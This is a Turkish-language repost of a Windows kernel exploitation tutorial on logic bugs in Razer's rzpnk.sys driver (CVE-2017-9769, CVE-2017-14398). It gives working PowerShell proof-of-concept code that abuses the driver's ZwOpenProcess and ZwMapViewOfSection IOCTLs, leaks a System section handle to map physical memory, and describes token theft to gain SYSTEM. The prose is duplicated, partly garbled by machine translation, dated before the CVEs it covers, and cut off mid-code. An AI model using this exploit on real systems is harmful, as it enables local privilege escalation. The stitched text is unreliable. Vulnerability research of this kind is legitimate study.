- 21 Eki 2015
- 477
- 1
Bölüm 19: Kernel Exploitation -> Razer rzpnk.sys'deki mantık hataları
Merhaba Windows Kernel istismar serisinin başka bir bölümüne tekrar hoş geldiniz! Bugün biraz farklı bir şeye bakacağız. Bir süre önce @zeroSteiner, Razer Synapse tarafından kullanılan bir sürücü olan rzpnk.sys'de (CVE-2017-9770 ve CVE-2017-9769) iki hata buldu. Bir süre sonra hatalara bakmaya karar verdim ve ... Yerel ayrıcalık artışına yol açan başka bir mantık hatası buldum (CVE-2017-14398)
Bu yazıda CVE-2017-9769'u kısaca göstereceğiz ve ardından bulduğum hata olan CVE-2017-14398 için tam bir istismar yapacağız. Başlamadan önce buradan
+ Razer Rzpnk.Sys IOCTL 0x22a050 ZwOpenProcess (CVE-2017-9769) (@zeroSteiner) - buradan
+ MSI ntiolib.sys/winio.sys local privilege escalation (@rwfpl) - buradan
Savaş Alanını Tuzlamak
Takılıp kalmadan önce, arama grafiğinde savunmasız işlevlerin ne kadar yakın olduğunu hızlıca göstermek istedim. Sevk işlevinde tam anlamıyla komşudurlar.
Bir noktaya kadar bu çağrılara yol açan dal paylaşılır, o zaman IOCTL'den 10 hex değerinin çıkarıldığını görebiliriz ve sonuç sıfırsa ZwOpenProcess çağrısına atlarız, kalan 14 hex ise o zaman atlarız bunun yerine ZwMapViewOfSection çağrısına.
Ayrıca, sürücünün giriş ve çıkış tamponunun uzunluğunu kontrol edeceğine ve yetersiz miktarda giriş parametresi sağlanırsa veya çıktı tamponunun yeterince büyük olmaması durumunda bir hata durumuna dallanacağına dikkat edin.
ZwOpenProcess POC (CVE-2017-9769)
CallGraph
Bir tutuş veya şey alın ıııı .. bir tutamak!
Bu işleve çok fazla zaman harcamayacağız, ancak güvenlik açığı kanıtlanacak kadar kolay. Fonksiyonun girdi parametreleri olarak iki QWORD'a ihtiyaç duyduğunu biliyoruz ve Spencer'ın açıklarından QWORDS olarak bir pid ve bir boş paketlediğini görebiliriz. Aşağıdaki POC ile bunu hızla çoğaltabiliriz.
POC'umuzu çalıştırmak aşağıdaki çıktıyı verir.
Sürücü tarafından döndürülen iki QWORD'a bakarsak, ilkinin geçtiğimiz PID ve ikincisinin bir tutamaç olduğunu görebiliriz. PowerShell işlemimizde döndürülen tutamaca baktığımızda aşağıdakileri görüyoruz.
Bu oyun hemen hemen bitiyor, System pid'e tam erişim hakkımız var, yani bu işlem alanındaki herhangi bir bellekten okuyup yazabiliriz. Spencer'ın bundan yararlanma şekli (1) winlogon'u ele almak, (2) shellcode yürütmek için user32! LockWorkStation'ı bağlamak, (3) kullanıcının oturumunu kilitlemek, (4) kar!
ZwMapViewOfSection'ı Kötüye Kullanma (CVE-2017-14398)
İyi şeylere ulaşma zamanı! Bu hata türü hakkında daha fazla bilgi edinmek için @ rwfpl'nin ntiolib / winio'dan yararlanma konusundaki gönderisine göz atmanızı şiddetle tavsiye ederim.
CallGraph
İşlev Bağımsız Değişkenleri
İlk ekran görüntüsünden, fonksiyonun girdi olarak 30 onaltılık boyut (6 QWORD) beklediğini ve ayrıca 30 onaltılık çıktı döndürdüğünü unutmayın. Savunmasız işleve ulaşmak için hızla bir POC oluşturabiliriz.
Herhangi bir hata ayıklama yapmadan önce, ***'nizi çalıştırabilir ve sürücünün ne döndürdüğünü görebiliriz.
Harika, giriş parametrelerimize ek olarak, 0 döndüren bir Int64 ve bir NTSTATUS kodu döndüren düşük sıralı bir DWORD görebiliriz. Bu durumda ZwMapViewOfSection, STATUS_INVALID_HANDLE döndürür, bu mantıklıdır çünkü ilk parametre olarak bir bölüm tutamacını beklemektedir ve biz onu biraz önemsiz besledik. Burada güzel bir yan etki, NTSTATUS kodunu 0x0 (STATUS_SUCCESS) ile karşılaştırarak çağrımızın başarılı olup olmadığını anlayabilmemizdir.
Grafikten bazı statik parametrelerin ne olduğunu zaten söyleyebiliriz, ancak tüm şüpheleri gidermek için ZwMapViewOfSection çağrısında bir kesme noktası belirleyebilir ve kayıtları + yığınını inceleyebiliriz. ZwMapViewOfSection stdcall çağrı kuralını kullanıyor, bu nedenle argümanlar sırasıyla RCX, RDX, R8, R9 ve yığın içinde saklanacaktır.
Bunu girdi parametrelerimizle bir araya getirdiğimizde aşağıdakileri elde ederiz.
Burada kontrol ettiğimiz şeylerin çoğu çok açık. Süreç idaresi için, PowerShell'e tam bir erişim tutamacına geçmemiz ve boyut / görünüm boyutunu kesinleştirmemiz sadece sürecimize ne kadar haritalandırdığımızdır. Soru, bir bölüm işleyicisini nereden alacağımızdır, sürücünün ZwCreateSection veya ZwOpenSection'ı çağırmamıza izin veren herhangi bir işlevi yoktur.
Fiziksel Bellek Sızıntısı
Bu noktada bir bölüm tanıtıcısı oluşturamadığım için istismarın öldüğünden biraz endişeliydim. Neyse ki AIONescu bana biraz anlam kattı. SystemHandleInformation sınıfı ile NtQuerySystemInformation kullanarak, sistemdeki süreçler tarafından açılan tüm tutamaçları sızdırabiliriz. Bu tutamaçlar her işlem için kullanıcı alanı tutamaçlarıdır, ancak Sistem işlemi (PID = 4) özel bir durum olarak kullanıcı alanını bir çekirdek tutamacına dönüştürmemize izin verir!
Bunu neden önemsiyoruz? Sistemin "\ Device \ PhysicalMemory" için bir tutamacı vardır, eğer bu tanıtıcıyı sızdırabilirsek, ZwMapViewOfSection'ın fiziksel belleği PowerShell sürecimize doğrudan eşleştirmesini sağlayabiliriz!
Bu işlemle ilgilenmek için bir powershell işlevi yazdım. İşlem tarafından açılan tutamaçların türünü belirlemek için statik tutamaç sabitlerini kullanır. Bunu yakın zamanda güncelledim, böylece Win7'den Win10RS2'ye kadar çalışıyor. Get-Handles, GitHub'daki PSKernel-Primitives depomun bir parçası, PowerShell ile çekirdeği pwn yapmak istiyorsanız kontrol edin!
Çekirdek tanıtıcısını almak için tek yapmamız gereken, 0x204'e statik bir değer eklemektir (64-bit için 0xffffffff80000000 ve 32-bit için 0x80000000). Bunu dinamik olarak aşağıdaki şekilde yapabiliriz.
Artık yeni bir POC oluşturabilir ve tüm eksik bitleri doldurabiliriz. Test amacıyla 1 MB fiziksel belleği PowerShell ile eşlemeye çalışacağız.
Yeni POC'umuzu çalıştırarak aşağıdaki çıktıyı alıyoruz.
Başarıyı NTSTATUS kodunu okuyarak ölçtüğümüze ve daha önce 0 olan Int64'ün artık bölümün eşlendiği yerel işlemimizde adresi döndürdüğüne dikkat edin. Process Hacker'a baktığımızda, tam olarak 1024kb'lik güzel bir zararsız bellek tahsisi görebiliriz.
Process Hacker'ı kullanarak bu bellek yığınını diske kaydedebiliriz. Bunu yaparsak ve bir şekilde kaydırırsak, aşağıda gösterildiği gibi bazı komik şeyler görebiliriz. Bootkit kimse?
Güvenlik açığını hemen hemen kanıtladık, ancak şimdi bir SYSTEM kabuğuna nasıl sahip olabiliriz?
Avcılık EPROCESS
Bundan yararlanmanın en dolaysız yolu, klasik bir jeton çalma saldırısı yapmaktır. Zorluk, eşlenmiş belleğimizdeki EPROCESS yapısını bulmaktır. WinDBG'de biraz araştırma, EPROCESS yapısının bir 'Proc' havuz yığınına ayrıldığını gösteriyor.
EPROCESS işaretçisinden 'Proc' havuz parçasının başlangıcını çıkararak, hemen başlık boyutunu da elde ederiz. Tersine, keyfi bir 'Proc' havuz adresimiz varsa, EPROCESS yapısındaki herhangi bir özelliğin konumunu hesaplayabiliriz.
Bu mimariye / sürüme bağlı ofsetlere KD'ye geçmeden bakmak istiyorsanız Terminus Projesini kullanabilirsiniz. Bu, @rwfpl tarafından yazılan harika bir kaynak, bu da bana pek çok durumda çok zaman kazandırdı!
Bu yüzden sorunumuzu etkili bir şekilde 'Proc' havuz parçalarını bulmaya indirgedik, henüz tam olarak bir kazanç değil. Bu parçaları bulmak için, eşlenmiş bölümü benzersiz 'Proc' havuz etiketi için tarayabiliriz.
Optimizasyon açısından havuz parçalarının 10 altılık bir sınırla hizalandığına dikkat edin. Esasen bu, her 16 baytta bir tek bir DWORD okumamız gerektiği anlamına gelir. Bu pek bir şeye benzemiyor ama bize zaman kazandırıyor. Buna rağmen, 'Proc' havuz parçaları ~ 900mb'den sonra görünmeye başladığından arama çok çok yavaştı. Aramayı daha fazla optimize etmek için, eşlenen belleği farklı işletim sistemi sürümleri için yeterli varyans bırakarak 0x30000000 (0x30000000 / (1024 * 1024) = 768mb) ofsetinde taramaya başlayabiliriz.
Teoriyi test etmek için, 'Proc' havuz parçalarını bulmak ve onay için bazı EPROCESS verilerini atmak için aşağıdaki döngüyü (1.2gb eşlenmiş bir bölümde) kullanabiliriz.
Sonucun bir kısmı aşağıda gösterilmiştir.
Gördüğünüz gibi, bu uygulama mükemmel değil, bazı görüntü adları kesilmiş ve az miktarda algılama, EPROCESS yapıları gibi görünmüyor. Neyse ki, işlemlerin çoğunun doğru bir şekilde tespit edilmesinin garantili olduğunu buldum (PowerShell / lsass dahil).
Oyun bitti
Geriye kalan tek şey, yukarıdaki döngüyü biraz değiştirmektir, böylece lsass belirtecini ve PowerShell belirtecinin konumunu kaydeder. Her iki öğe de bulunduğunda, PowerShell belirtecinin üzerine yazabilir ve SYSTEM'e yükseltebiliriz! Bazı deneyler gerekli olsa da, bu istismarı 8,8.1,10'a taşımak oldukça basit bir alıştırma olmalıdır. Göz önünde bulundurulması gereken tek husus, EPROCESS yapısındaki değişiklikler ve Sistem sürecindeki birden çok bölüm tutamacıyla başa çıkmak için bir strateji geliştirilmesi olacaktır. Nihai istismar aşağıda gösterilmektedir.
Merhaba Windows Kernel istismar serisinin başka bir bölümüne tekrar hoş geldiniz! Bugün biraz farklı bir şeye bakacağız. Bir süre önce @zeroSteiner, Razer Synapse tarafından kullanılan bir sürücü olan rzpnk.sys'de (CVE-2017-9770 ve CVE-2017-9769) iki hata buldu. Bir süre sonra hatalara bakmaya karar verdim ve ... Yerel ayrıcalık artışına yol açan başka bir mantık hatası buldum (CVE-2017-14398)
Bu yazıda CVE-2017-9769'u kısaca göstereceğiz ve ardından bulduğum hata olan CVE-2017-14398 için tam bir istismar yapacağız. Başlamadan önce buradan
+ Razer Rzpnk.Sys IOCTL 0x22a050 ZwOpenProcess (CVE-2017-9769) (@zeroSteiner) - buradan
+ MSI ntiolib.sys/winio.sys local privilege escalation (@rwfpl) - buradan
Savaş Alanını Tuzlamak
Takılıp kalmadan önce, arama grafiğinde savunmasız işlevlerin ne kadar yakın olduğunu hızlıca göstermek istedim. Sevk işlevinde tam anlamıyla komşudurlar.
Bir noktaya kadar bu çağrılara yol açan dal paylaşılır, o zaman IOCTL'den 10 hex değerinin çıkarıldığını görebiliriz ve sonuç sıfırsa ZwOpenProcess çağrısına atlarız, kalan 14 hex ise o zaman atlarız bunun yerine ZwMapViewOfSection çağrısına.
Ayrıca, sürücünün giriş ve çıkış tamponunun uzunluğunu kontrol edeceğine ve yetersiz miktarda giriş parametresi sağlanırsa veya çıktı tamponunun yeterince büyük olmaması durumunda bir hata durumuna dallanacağına dikkat edin.
ZwOpenProcess POC (CVE-2017-9769)
CallGraph
Bir tutuş veya şey alın ıııı .. bir tutamak!
Bu işleve çok fazla zaman harcamayacağız, ancak güvenlik açığı kanıtlanacak kadar kolay. Fonksiyonun girdi parametreleri olarak iki QWORD'a ihtiyaç duyduğunu biliyoruz ve Spencer'ın açıklarından QWORDS olarak bir pid ve bir boş paketlediğini görebiliriz. Aşağıdaki POC ile bunu hızla çoğaltabiliriz.
Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class Razer
{
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateFile(
String lpFileName,
UInt32 dwDesiredAccess,
UInt32 dwShareMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
int IoControlCode,
byte[] InBuffer,
int nInBufferSize,
IntPtr OutBuffer,
int nOutBufferSize,
ref int pBytesReturned,
IntPtr Overlapped);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAlloc(
IntPtr lpAddress,
uint dwSize,
UInt32 flAl********Type,
UInt32 flProtect);
}
"@
#----------------[Get Driver Handle]
$hDevice = [Razer]::CreateFile("\\.\47CD78C9-64C3-47C2-B80F-677B887CF095", [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
if ($hDevice -eq -1) {
echo "`n[!] Unable to get driver handle..`n"
Return
} else {
echo "`n[>] Driver access OK.."
echo "[+] lpFileName: \\.\47CD78C9-64C3-47C2-B80F-677B887CF095 => rzpnk"
echo "[+] Handle: $hDevice"
}
#----------------[Prepare buffer & Send IOCTL]
# Input buffer
$InBuffer = @(
[System.BitConverter]::GetBytes([Int64]0x4) + # PID 4 = System = 0x0000000000000004
[System.BitConverter]::GetBytes([Int64]0x0) # 0x0000000000000000
)
# Output buffer 1kb
$OutBuffer = [Razer]::VirtualAlloc([System.IntPtr]::Zero, 1024, 0x3000, 0x40)
# Ptr receiving output byte count
$IntRet = 0
#=======
# 0x22a050 - ZwOpenProcess
#=======
$CallResult = [Razer]::DeviceIoControl($hDevice, 0x22a050, $InBuffer, $InBuffer.Length, $OutBuffer, 1024, [ref]$IntRet, [System.IntPtr]::Zero)
if (!$CallResult) {
echo "`n[!] DeviceIoControl failed..`n"
Return
}
#----------------[Read out the result buffer]
echo "`n[>] Call result:"
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()))
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8))
POC'umuzu çalıştırmak aşağıdaki çıktıyı verir.
Sürücü tarafından döndürülen iki QWORD'a bakarsak, ilkinin geçtiğimiz PID ve ikincisinin bir tutamaç olduğunu görebiliriz. PowerShell işlemimizde döndürülen tutamaca baktığımızda aşağıdakileri görüyoruz.
Bu oyun hemen hemen bitiyor, System pid'e tam erişim hakkımız var, yani bu işlem alanındaki herhangi bir bellekten okuyup yazabiliriz. Spencer'ın bundan yararlanma şekli (1) winlogon'u ele almak, (2) shellcode yürütmek için user32! LockWorkStation'ı bağlamak, (3) kullanıcının oturumunu kilitlemek, (4) kar!
ZwMapViewOfSection'ı Kötüye Kullanma (CVE-2017-14398)
İyi şeylere ulaşma zamanı! Bu hata türü hakkında daha fazla bilgi edinmek için @ rwfpl'nin ntiolib / winio'dan yararlanma konusundaki gönderisine göz atmanızı şiddetle tavsiye ederim.
CallGraph
İşlev Bağımsız Değişkenleri
İlk ekran görüntüsünden, fonksiyonun girdi olarak 30 onaltılık boyut (6 QWORD) beklediğini ve ayrıca 30 onaltılık çıktı döndürdüğünü unutmayın. Savunmasız işleve ulaşmak için hızla bir POC oluşturabiliriz.
Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class Razer
{
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateFile(
String lpFileName,
UInt32 dwDesiredAccess,
UInt32 dwShareMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
int IoControlCode,
byte[] InBuffer,
int nInBufferSize,
IntPtr OutBuffer,
int nOutBufferSize,
ref int pBytesReturned,
IntPtr Overlapped);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAlloc(
IntPtr lpAddress,
uint dwSize,
UInt32 flAl********Type,
UInt32 flProtect);
}
"@
#----------------[Get Driver Handle]
$hDevice = [Razer]::CreateFile("\\.\47CD78C9-64C3-47C2-B80F-677B887CF095", [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
if ($hDevice -eq -1) {
echo "`n[!] Unable to get driver handle..`n"
Return
} else {
echo "`n[>] Driver access OK.."
echo "[+] lpFileName: \\.\47CD78C9-64C3-47C2-B80F-677B887CF095 => rzpnk"
echo "[+] Handle: $hDevice"
}
#----------------[Prepare buffer & Send IOCTL]
# Input buffer
$InBuffer = @(
[System.BitConverter]::GetBytes([Int64]0xAAAAAA) +
[System.BitConverter]::GetBytes([Int64]0xBBBBBB) +
[System.BitConverter]::GetBytes([Int64]0xCCCCCC) +
[System.BitConverter]::GetBytes([Int64]0xDDDDDD) +
[System.BitConverter]::GetBytes([Int64]0xEEEEEE) +
[System.BitConverter]::GetBytes([Int64]0xFFFFFF)
)
# Output buffer
$OutBuffer = [Razer]::VirtualAlloc([System.IntPtr]::Zero, 1024, 0x3000, 0x40)
# Ptr receiving output byte count
$IntRet = 0
#=======
# 0x22A064 - ZwMapViewOfSection
#=======
$CallResult = [Razer]::DeviceIoControl($hDevice, 0x22A064, $InBuffer, $InBuffer.Length, $OutBuffer, 1024, [ref]$IntRet, [System.IntPtr]::Zero)
if (!$CallResult) {
echo "`n[!] DeviceIoControl failed..`n"
Return
}
#----------------[Read out the result buffer]
echo "`n[>] Call result:"
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64())) # 0x30 pyramid scheme ;)
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8))
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8))
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8))
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8+8))
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8+8+8))
Herhangi bir hata ayıklama yapmadan önce, ***'nizi çalıştırabilir ve sürücünün ne döndürdüğünü görebiliriz.
Harika, giriş parametrelerimize ek olarak, 0 döndüren bir Int64 ve bir NTSTATUS kodu döndüren düşük sıralı bir DWORD görebiliriz. Bu durumda ZwMapViewOfSection, STATUS_INVALID_HANDLE döndürür, bu mantıklıdır çünkü ilk parametre olarak bir bölüm tutamacını beklemektedir ve biz onu biraz önemsiz besledik. Burada güzel bir yan etki, NTSTATUS kodunu 0x0 (STATUS_SUCCESS) ile karşılaştırarak çağrımızın başarılı olup olmadığını anlayabilmemizdir.
Grafikten bazı statik parametrelerin ne olduğunu zaten söyleyebiliriz, ancak tüm şüpheleri gidermek için ZwMapViewOfSection çağrısında bir kesme noktası belirleyebilir ve kayıtları + yığınını inceleyebiliriz. ZwMapViewOfSection stdcall çağrı kuralını kullanıyor, bu nedenle argümanlar sırasıyla RCX, RDX, R8, R9 ve yığın içinde saklanacaktır.
Bunu girdi parametrelerimizle bir araya getirdiğimizde aşağıdakileri elde ederiz.
Kod:
NTSTATUS ZwMapViewOfSection(
_In_ HANDLE SectionHandle, | Param 3 - RCX = SectionHandle
_In_ HANDLE ProcessHandle, | Param 1 - RDX = ProcessHandle
_Inout_ P**** *BaseAddress, | Param 2 - R8 = BaseAddress -> Irrelevant, ptr to NULL
_In_ ULONG_PTR ZeroBits, | 0 -> OK - R9
_In_ SIZE_T CommitSize, | Param 5 - CommitSize / ViewSize
_Inout_opt_ PLARGE_INTEGER SectionOffset, | 0 -> OK
_Inout_ PSIZE_T ViewSize, | Param 5 - CommitSize / ViewSize
_In_ SECTION_INHERIT InheritDisposition, | 2 = ViewUnmap
_In_ ULONG Al********Type, | 0 -> Un********ed?
_In_ ULONG Win32Protect | 0x40 -> PAGE_READWRITE
);
Burada kontrol ettiğimiz şeylerin çoğu çok açık. Süreç idaresi için, PowerShell'e tam bir erişim tutamacına geçmemiz ve boyut / görünüm boyutunu kesinleştirmemiz sadece sürecimize ne kadar haritalandırdığımızdır. Soru, bir bölüm işleyicisini nereden alacağımızdır, sürücünün ZwCreateSection veya ZwOpenSection'ı çağırmamıza izin veren herhangi bir işlevi yoktur.
Fiziksel Bellek Sızıntısı
Bu noktada bir bölüm tanıtıcısı oluşturamadığım için istismarın öldüğünden biraz endişeliydim. Neyse ki AIONescu bana biraz anlam kattı. SystemHandleInformation sınıfı ile NtQuerySystemInformation kullanarak, sistemdeki süreçler tarafından açılan tüm tutamaçları sızdırabiliriz. Bu tutamaçlar her işlem için kullanıcı alanı tutamaçlarıdır, ancak Sistem işlemi (PID = 4) özel bir durum olarak kullanıcı alanını bir çekirdek tutamacına dönüştürmemize izin verir!
Bunu neden önemsiyoruz? Sistemin "\ Device \ PhysicalMemory" için bir tutamacı vardır, eğer bu tanıtıcıyı sızdırabilirsek, ZwMapViewOfSection'ın fiziksel belleği PowerShell sürecimize doğrudan eşleştirmesini sağlayabiliriz!
Bu işlemle ilgilenmek için bir powershell işlevi yazdım. İşlem tarafından açılan tutamaçların türünü belirlemek için statik tutamaç sabitlerini kullanır. Bunu yakın zamanda güncelledim, böylece Win7'den Win10RS2'ye kadar çalışıyor. Get-Handles, GitHub'daki PSKernel-Primitives depomun bir parçası, PowerShell ile çekirdeği pwn yapmak istiyorsanız kontrol edin!
Çekirdek tanıtıcısını almak için tek yapmamız gereken, 0x204'e statik bir değer eklemektir (64-bit için 0xffffffff80000000 ve 32-bit için 0x80000000). Bunu dinamik olarak aşağıdaki şekilde yapabiliriz.
Kod:
$SystemProcHandles = Get-Handles -ProcID 4
[Int]$UserSectionHandle = $(($SystemProcHandles |Where-Object {$_.ObjectType -eq "Section"}).Handle)
[Int64]$SystemSectionHandle = $UserSectionHandle + 0xffffffff80000000
Artık yeni bir POC oluşturabilir ve tüm eksik bitleri doldurabiliriz. Test amacıyla 1 MB fiziksel belleği PowerShell ile eşlemeye çalışacağız.
Kod:
function RZ-ZwMapViewOfSection {
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class Razer
{
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateFile(
String lpFileName,
UInt32 dwDesiredAccess,
UInt32 dwShareMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
int IoControlCode,
byte[] InBuffer,
int nInBufferSize,
IntPtr OutBuffer,
int nOutBufferSize,
ref int pBytesReturned,
IntPtr Overlapped);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAlloc(
IntPtr lpAddress,
uint dwSize,
UInt32 flAl********Type,
UInt32 flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(
UInt32 processAccess,
bool bInheritHandle,
int processId);
}
"@
#----------------[Helper Funcs]
function Get-Handles {
<#
.SYNOPSIS
Use NtQuerySystemInformation::SystemHandleInformation to get a list of
open handles in the specified process, works on x32/x64.
Notes:
* For more robust coding I would recomend using [USER=521394]MaTTi[/USER]festation's
Get-NtSystemInformation.ps1 part of PowerShellArsenal.
.DESCRIPTION
Author: Ruben Boonen (@FuzzySec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.EXAMPLE
C:\PS> $SystemProcHandles = Get-Handles -ProcID 4
C:\PS> $Key = $SystemProcHandles |Where-Object {$_.ObjectType -eq "Key"}
C:\PS> $Key |ft
ObjectType AccessMask PID Handle HandleFlags KernelPointer
---------- ---------- --- ------ ----------- -------------
Key 0x00000000 4 0x004C NONE 0xFFFFC9076FC29BC0
Key 0x00020000 4 0x0054 NONE 0xFFFFC9076FCDA7F0
Key 0x000F0000 4 0x0058 NONE 0xFFFFC9076FC39CE0
Key 0x00000000 4 0x0090 NONE 0xFFFFC907700A6B40
Key 0x00000000 4 0x0098 NONE 0xFFFFC90770029F70
Key 0x00020000 4 0x00A0 NONE 0xFFFFC9076FC9C1A0
[...Snip...]
#>
[CmdletBinding()]
param (
[Parameter(Mandatory = $True)]
[int]$ProcID
)
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct SYSTEM_HANDLE_INFORMATION
{
public UInt32 ProcessID;
public Byte ObjectTypeNumber;
public Byte Flags;
public UInt16 HandleValue;
public IntPtr Object_Pointer;
public UInt32 GrantedAccess;
}
public static class GetHandles
{
[DllImport("ntdll.dll")]
public static extern int NtQuerySystemInformation(
int SystemInformationClass,
IntPtr SystemInformation,
int SystemInformationLength,
ref int ReturnLength);
}
"@
# Make sure the PID exists
if (!$(get-process -Id $ProcID -ErrorAction SilentlyContinue)) {
Return
}
# Flag switches (0 = NONE?)
$FlagSwitches = @{
0 = 'NONE'
1 = 'PROTECT_FROM_CLOSE'
2 = 'INHERIT'
}
$OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version
$OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)"
switch ($OSMajorMinor)
{
'10.0' # Windows 10 (Tested on v1511)
{
# Win 10 v1703
if ($OSVersion.Build -ge 15063) {
$TypeSwitches = @{
0x24 = 'TmTm'; 0x18 = 'Desktop'; 0x7 = 'Process'; 0x2c = 'RegistryTransaction'; 0xe = 'DebugObject';
0x3d = 'VRegConfigurationContext'; 0x34 = 'DmaDomain'; 0x1c = 'TpWorkerFactory'; 0x1d = 'Adapter';
0x5 = 'Token'; 0x39 = 'DxgkSharedResource'; 0xc = 'PsSiloContextPaged'; 0x38 = 'NdisCmState';
0xb = 'ActivityReference'; 0x35 = 'PcwObject'; 0x2f = 'WmiGuid'; 0x33 = 'DmaAdapter';
0x30 = 'EtwRegistration'; 0x29 = 'Session'; 0x1a = 'RawInputManager'; 0x13 = 'Timer'; 0x10 = 'Mutant';
0x14 = 'IRTimer'; 0x3c = 'DxgkCurrentDxgProcessObject'; 0x21 = 'IoCompletion';
0x3a = 'DxgkSharedSyncObject'; 0x17 = 'WindowStation'; 0x15 = 'Profile'; 0x23 = 'File';
0x2a = 'Partition'; 0x12 = 'Semaphore'; 0xd = 'PsSiloContextNonPaged'; 0x32 = 'EtwConsumer';
0x19 = 'Composition'; 0x31 = 'EtwSessionDemuxEntry'; 0x1b = 'CoreMessaging'; 0x25 = 'TmTx';
0x4 = 'SymbolicLink'; 0x36 = 'FilterConnectionPort'; 0x2b = 'Key'; 0x16 = 'KeyedEvent';
0x11 = 'Callback'; 0x22 = 'WaitCompletionPacket'; 0x9 = 'UserApcReserve'; 0x6 = 'Job';
0x3b = 'DxgkSharedSwapChainObject'; 0x1e = 'Controller'; 0xa = 'IoCompletionReserve'; 0x1f = 'Device';
0x3 = 'Directory'; 0x28 = 'Section'; 0x27 = 'TmEn'; 0x8 = 'Thread'; 0x2 = 'Type';
0x37 = 'FilterCommunicationPort'; 0x2e = 'PowerRequest'; 0x26 = 'TmRm'; 0xf = 'Event';
0x2d = 'ALPC Port'; 0x20 = 'Driver';
}
}
# Win 10 v1607
if ($OSVersion.Build -ge 14393 -And $OSVersion.Build -lt 15063) {
$TypeSwitches = @{
0x23 = 'TmTm'; 0x17 = 'Desktop'; 0x7 = 'Process'; 0x2b = 'RegistryTransaction'; 0xd = 'DebugObject';
0x3a = 'VRegConfigurationContext'; 0x32 = 'DmaDomain'; 0x1b = 'TpWorkerFactory'; 0x1c = 'Adapter';
0x5 = 'Token'; 0x37 = 'DxgkSharedResource'; 0xb = 'PsSiloContextPaged'; 0x36 = 'NdisCmState';
0x33 = 'PcwObject'; 0x2e = 'WmiGuid'; 0x31 = 'DmaAdapter'; 0x2f = 'EtwRegistration';
0x28 = 'Session'; 0x19 = 'RawInputManager'; 0x12 = 'Timer'; 0xf = 'Mutant'; 0x13 = 'IRTimer';
0x20 = 'IoCompletion'; 0x38 = 'DxgkSharedSyncObject'; 0x16 = 'WindowStation'; 0x14 = 'Profile';
0x22 = 'File'; 0x3b = 'VirtualKey'; 0x29 = 'Partition'; 0x11 = 'Semaphore'; 0xc = 'PsSiloContextNonPaged';
0x30 = 'EtwConsumer'; 0x18 = 'Composition'; 0x1a = 'CoreMessaging'; 0x24 = 'TmTx'; 0x4 = 'SymbolicLink';
0x34 = 'FilterConnectionPort'; 0x2a = 'Key'; 0x15 = 'KeyedEvent'; 0x10 = 'Callback';
0x21 = 'WaitCompletionPacket'; 0x9 = 'UserApcReserve'; 0x6 = 'Job'; 0x39 = 'DxgkSharedSwapChainObject';
0x1d = 'Controller'; 0xa = 'IoCompletionReserve'; 0x1e = 'Device'; 0x3 = 'Directory'; 0x27 = 'Section';
0x26 = 'TmEn'; 0x8 = 'Thread'; 0x2 = 'Type'; 0x35 = 'FilterCommunicationPort'; 0x2d = 'PowerRequest';
0x25 = 'TmRm'; 0xe = 'Event'; 0x2c = 'ALPC Port'; 0x1f = 'Driver';
}
}
# Win 10 v1511
if ($OSVersion.Build -lt 14393) {
$TypeSwitches = @{
0x02 = 'Type'; 0x03 = 'Directory'; 0x04 = 'SymbolicLink'; 0x05 = 'Token'; 0x06 = 'Job';
0x07 = 'Process'; 0x08 = 'Thread'; 0x09 = 'UserApcReserve'; 0x0A = 'IoCompletionReserve';
0x0B = 'DebugObject'; 0x0C = 'Event'; 0x0D = 'Mutant'; 0x0E = 'Callback'; 0x0F = 'Semaphore';
0x10 = 'Timer'; 0x11 = 'IRTimer'; 0x12 = 'Profile'; 0x13 = 'KeyedEvent'; 0x14 = 'WindowStation';
